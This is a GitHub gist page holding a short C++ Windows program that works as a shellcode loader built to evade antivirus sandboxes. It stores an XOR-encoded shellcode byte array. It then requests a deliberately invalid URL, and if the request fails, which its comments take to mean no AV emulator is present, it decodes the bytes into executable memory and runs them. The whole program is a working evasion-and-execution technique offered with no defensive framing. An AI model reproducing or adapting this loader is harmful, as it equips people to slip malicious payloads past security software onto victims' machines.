Skip to content

Instantly share code, notes, and snippets.

@FernandoDoming
Created September 10, 2016 19:12
Show Gist options
  • Save FernandoDoming/89254cc60004909c2e71633afa227d93 to your computer and use it in GitHub Desktop.
Save FernandoDoming/89254cc60004909c2e71633afa227d93 to your computer and use it in GitHub Desktop.
#include <windows.h>
#include <iostream>
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")
void decrypt(char * b, char * c, int n) {
for (int i = 0; i < n; i++) {
c[i] = b[i] ^ 'f';
}
}
void exec(char * d, int n) {
void *exec = VirtualAlloc(NULL, n, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (exec != NULL) {
memcpy(exec, d, n);
((void(*)())exec)();
free(exec);
}
}
int main(int argc, char **argv) {
char b[] = { 0x9a, 0x8e, 0xe4, 0x66, 0x66, 0x66, 0x06, 0xef, 0x83, 0x57, 0xa6, 0x02, 0xed,
0x36, 0x56, 0xed, 0x34, 0x6a, 0xed, 0x34, 0x72, 0xed, 0x14, 0x4e, 0x69, 0xd1, 0x2c, 0x40,
0x57, 0x99, 0xca, 0x5a, 0x07, 0x1a, 0x64, 0x4a, 0x46, 0xa7, 0xa9, 0x6b, 0x67, 0xa1, 0x84,
0x94, 0x34, 0x31, 0xed, 0x34, 0x76, 0xed, 0x2c, 0x5a, 0xed, 0x2a, 0x77, 0x1e, 0x85, 0x2e,
0x67, 0xb7, 0x37, 0xed, 0x3f, 0x46, 0x67, 0xb5, 0xed, 0x2f, 0x7e, 0x85, 0x5c, 0x2f, 0xed,
0x52, 0xed, 0x67, 0xb0, 0x57, 0x99, 0xca, 0xa7, 0xa9, 0x6b, 0x67, 0xa1, 0x5e, 0x86, 0x13,
0x90, 0x65, 0x1b, 0x9e, 0x5d, 0x1b, 0x42, 0x13, 0x82, 0x3e, 0xed, 0x3e, 0x42, 0x67, 0xb5,
0x00, 0xed, 0x6a, 0x2d, 0xed, 0x3e, 0x7a, 0x67, 0xb5, 0xed, 0x62, 0xed, 0x67, 0xb6, 0xef,
0x22, 0x42, 0x42, 0x3d, 0x3d, 0x07, 0x3f, 0x3c, 0x37, 0x99, 0x86, 0x39, 0x39, 0x3c, 0xed,
0x74, 0x8d, 0xeb, 0x3b, 0x0e, 0x55, 0x54, 0x66, 0x66, 0x0e, 0x11, 0x15, 0x54, 0x39, 0x32,
0x0e, 0x2a, 0x11, 0x40, 0x61, 0x99, 0xb3, 0xde, 0xf6, 0x67, 0x66, 0x66, 0x4f, 0xa2, 0x32,
0x36, 0x0e, 0x4f, 0xe6, 0x0d, 0x66, 0x99, 0xb3, 0x0c, 0x63, 0x0e, 0xa6, 0xce, 0x67, 0xbf,
0x0e, 0x64, 0x66, 0x79, 0xf6, 0xef, 0x80, 0x36, 0x36, 0x36, 0x36, 0x26, 0x36, 0x26, 0x36,
0x0e, 0x8c, 0x69, 0xb9, 0x86, 0x99, 0xb3, 0xf1, 0x0c, 0x76, 0x30, 0x31, 0x0e, 0xff, 0xc3,
0x12, 0x07, 0x99, 0xb3, 0xe3, 0xa6, 0x12, 0x6c, 0x99, 0x28, 0x6e, 0x13, 0x8a, 0x8e, 0x07,
0x66, 0x66, 0x66, 0x0c, 0x66, 0x0c, 0x62, 0x30, 0x31, 0x0e, 0x64, 0xbf, 0xae, 0x39, 0x99,
0xb3, 0xe5, 0x9e, 0x66, 0x18, 0x50, 0xed, 0x50, 0x0c, 0x26, 0x0e, 0x66, 0x76, 0x66, 0x66,
0x30, 0x0c, 0x66, 0x0e, 0x3e, 0xc2, 0x35, 0x83, 0x99, 0xb3, 0xf5, 0x35, 0x0c, 0x66, 0x30,
0x35, 0x31, 0x0e, 0x64, 0xbf, 0xae, 0x39, 0x99, 0xb3, 0xe5, 0x9e, 0x66, 0x1b, 0x44, 0x3e,
0x0e, 0x66, 0x26, 0x66, 0x66, 0x0c, 0x66, 0x36, 0x0e, 0x6d, 0x49, 0x69, 0x56, 0x99, 0xb3,
0x31, 0x0e, 0x13, 0x08, 0x2b, 0x07, 0x99, 0xb3, 0x38, 0x38, 0x99, 0x6a, 0x42, 0x8f, 0x17,
0x99, 0x99, 0x99, 0x67, 0xa5, 0x4f, 0xa0, 0x13, 0xa1, 0xa5, 0xdd, 0x96, 0xd3, 0xc4, 0x30,
0x0c, 0x66, 0x35, 0x99, 0xb3 };
char c[sizeof b] = { 0 };
char cononstart[] = "http://www.notdetectedmaliciouscode.com//"; //Invalid URL
char readbuf[1024];
HINTERNET httpopen, openurl;
DWORD read;
httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE, NULL);
if (!openurl) // Access failed, we are not in AV
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
decrypt(b, c, sizeof(b));
exec(c, sizeof(c));
}
else // Access successful, we are in AV and redirected to a custom webpage
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment